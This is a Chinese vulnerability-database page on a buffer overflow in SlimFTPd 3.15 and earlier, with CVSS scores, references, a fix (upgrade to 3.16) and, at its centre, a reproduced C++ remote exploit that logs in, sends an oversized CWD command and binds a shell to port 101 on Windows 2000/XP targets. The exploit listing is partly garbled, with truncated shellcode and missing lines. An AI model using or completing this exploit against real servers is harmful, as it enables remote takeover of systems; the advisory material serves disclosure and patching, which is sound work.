发布时间 :2004-12-31 00:00:00
修订时间 :2008-09-05 16:44:04

[原文]Buffer overflow in SlimFTPd 3.15 and earlier allows local users to execute arbitrary code via a long command, such as (1) CWD, (2) STOR, (3) MKD, and (4) STAT.

[CNNVD]WhitSoft Development SlimFTPd远程缓冲区溢出漏洞(CNNVD-200412-300)

        SlimFTPd 3.15及其以前的版本存在缓冲区溢出漏洞。本地用户借助超长命令,比如:(1)CWD,(2)STOR,(3)MKD,和(4)STAT执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(PATCH)  BID  11645
(PATCH)  OSVDB  11604
(PATCH)  SECTRACK  1012167
(UNKNOWN)  XF  slimftpd-multiple-command-bo(18014)
(UNKNOWN)  FULLDISC  20041110 [Advisory + Exploit] SlimFTPd <= 3.15

- 漏洞信息

WhitSoft Development SlimFTPd远程缓冲区溢出漏洞
高危 缓冲区溢出
2004-12-31 00:00:00 2005-10-20 00:00:00
        SlimFTPd 3.15及其以前的版本存在缓冲区溢出漏洞。本地用户借助超长命令,比如:(1)CWD,(2)STOR,(3)MKD,和(4)STAT执行任意代码。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: .

- 漏洞信息 (623)

SlimFTPd <= 3.15 Remote Buffer Overflow Exploit (EDBID:623)
windows remote
2004-11-10 Verified
21 class101
N/A [点击下载]
SlimFTPd <= 3.15, Remote Buffer Overflow Exploit v0.1.
Bind a shellcode to the port 101.
Full disclosure and exploit
by class101 [at] [&] #n3ws [at] EFnet
10 november 2004
Thanx to HDMoore and for their kickass ASM work.

Homepage -
 SlimFTPd is a fully standards-compliant FTP server implementation with an advanced
 virtual file system.It is extremely small, but don't let its file size deceive you:
 SlimFTPd packs a lot of bang for the kilobyte. It is written in pure Win32 C++ with
 no external dependencies and no messy installer. SlimFTPd is a fully multi-threaded
 application that runs as a system service on Windows 98/ME or Windows NT/2K/XP, and
 it comes with a tool to simplify its installation or uninstallation as a system service.
 Once the service is started, SlimFTPd runs quietly in the background.
 It reads its configuration from a config file in the same folder as the executable,
 and it outputs all activity to a log file in the same place.
 The virtual file system allows you to mount any local drive or path to any virtual
 path on the server. This allows you to have multiple local drives represented on the
 server's virtual file system or just different folders from the same drive.
 SlimFTPd allows you to set individual permissions for server paths.
 Open slimftpd.conf in your favorite text editor to set up SlimFTPd's configuration.
 The format of SlimFTPd's config file is similar to Apache Web Server's for those
 familiar with Apache.

 A simple buffer overflow when a large buffer is passed to different commands,
 CWD, STOR, MKD, STAT etc.., nothing more, the attacker need to be logged in,
 read the code for further instructions.
 Actually none, the vendor is contacted, is warning users, and working on a fix.
 Ok I'll try to explain what happen in this one with my crap english...
 As you can notice , I havent used as usual a CALL/JMP offset address from a DLL.
 Why ? Because if you debug, you will notice that we are able to overwrite
 only 3/4 bytes of EIP maximum due to a buffer length restriction in the ftp server (~500bytes).
 The 4th byte will always point to 00. But this 00 is enough helpful to fake there my
 magic ret ;p
 Ok once you understand what is this magic ret , I think that you understanded all there...
    class101 [at] [&] #n3ws [at] EFnet
        F.U.C.K displaying the half part of codes they receive
 (also some other friends to me noticed it..., another ie:
 JPEG Exploits, 6 or 7 mirrors displayed, poor assh0les...)

#include "winsock2.h"
#include "fstream.h"

char scode[] = "\xEB"
char cmd[]="CWD ";
char call[]="\xb2\x06\x40"; // Magicret ;p
#pragma comment(lib, "ws2_32")

void usage(char* us);
WSADATA wsadata;
void ver();
static char payload[5000];
int main(int argc,char *argv[])
 if ((argc<5)||(argc>6)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}
 if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
 char *login=argv[2], *passwd=argv[3], data[10], recvbuf2[100], recvbuf[100], rootbuf[100], logbuf[100], logbuf2[100], pdbuf[100], pdbuf2[100];
 int ip=htonl(inet_addr(argv[4])), sz, a, sizeA, lgth, port;
 if (argc==6){port=atoi(argv[5]);}
 else port=21;
 char *os;
 if (atoi(argv[1]) == 1){os="Win2k based system";}
 if (atoi(argv[1]) == 1){os="Win2k based system";}
 if (atoi(argv[1]) == 2){os="WinXP based system";}
 if (atoi(argv[1]) == 2){os="WinXP based system";}
 struct fd_set mask;
 struct timeval timeout;
 struct sockaddr_in server;
 if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
 cout<<"[+] target: "<<os<<endl;   
 WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
  case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
  case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
   cout<<"[+] connected, login in process..."<<endl;
   if (!strstr(recvbuf2,"220")){cout<<"[+] this is not an ftp server, quitting..."<<endl;return -1;}
   strcpy(logbuf,"USER ");strcpy(logbuf2,login);strcpy(pdbuf,"PASS ");strcpy(pdbuf2,passwd);strcpy(rootbuf,"STOU AUX");strcpy(data,"\r\n");
   if (send(s,logbuf,strlen(logbuf),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (send(s,logbuf2,strlen(logbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (send(s,pdbuf,strlen(pdbuf),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (send(s,pdbuf2,strlen(pdbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (recv(s,recvbuf,200,0)==SOCKET_ERROR){ cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
   if (strstr(recvbuf,"530")){ cout<<"[+] wrong login or passwd"<<endl;return -1;}
   cout<<"[+] login success!"<<endl;Sleep(1000);cout<<"[+] sending the exploit string"<<endl;
   if (atoi(argv[1]) == 1){lgth=500+1;}
   if (atoi(argv[1]) == 2){lgth=498+1;}
   for (a=0;a<sizeA;a++){strcat(payload,"\x41");}
      if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
   if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
   cout<<"[+] size of payload: "<<sz<<endl;   
   cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
   return 0;
 return 0;
void usage(char* us)
 cout<<"USAGE: 101_slim.exe Target Login Pass Ip Port\n"<<endl;
 cout<<"TARGETS:                               "<<endl;
 cout<<"      [+] 1. Win2k SP4 English Pro    (*)"<<endl;
 cout<<"      [+] 1. Win2k SP4 English Server (*)"<<endl;
 cout<<"      [+] 1. Win2k all others            "<<endl;
 cout<<"      [+] 2. WinXP SP1 English Pro    (*)"<<endl;
 cout<<"      [+] 2. WinXP SP1 French Pro     (*)"<<endl;
 cout<<"      [+] 2. WinXP all others            "<<endl;
 cout<<"NOTE:                               "<<endl;
 cout<<"      The port 21 is default if no port are specified"<<endl;
 cout<<"      The exploit bind a shellcode to the port 101"<<endl;
 cout<<"      A wildcard (*) mean Tested."<<endl;
void ver()
cout<<"                                                                   "<<endl;
cout<<"        ===================================================[v0.1]===="<<endl;
cout<<"        ========SlimFTPd, Tiny FTP Server for Windows <= v3.15======="<<endl;
cout<<"        =============Remote Buffer Overflow Exploit=================="<<endl;
cout<<"        ====coded by class101===========[ 2004]====="<<endl;
cout<<"        ============================================================="<<endl;
cout<<"                                                                   "<<endl;

// [2004-11-10]

- 漏洞信息

SlimFTPd Multiple Command Handling Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in SlimFTPd. Multiple FTP commands fail to perform proper bounds checking resulting in a buffer overflow. With a specially crafted request, a remote attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2004-11-10 Unknow
2004-11-10 Unknow

- 解决方案

Upgrade to version 3.16 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者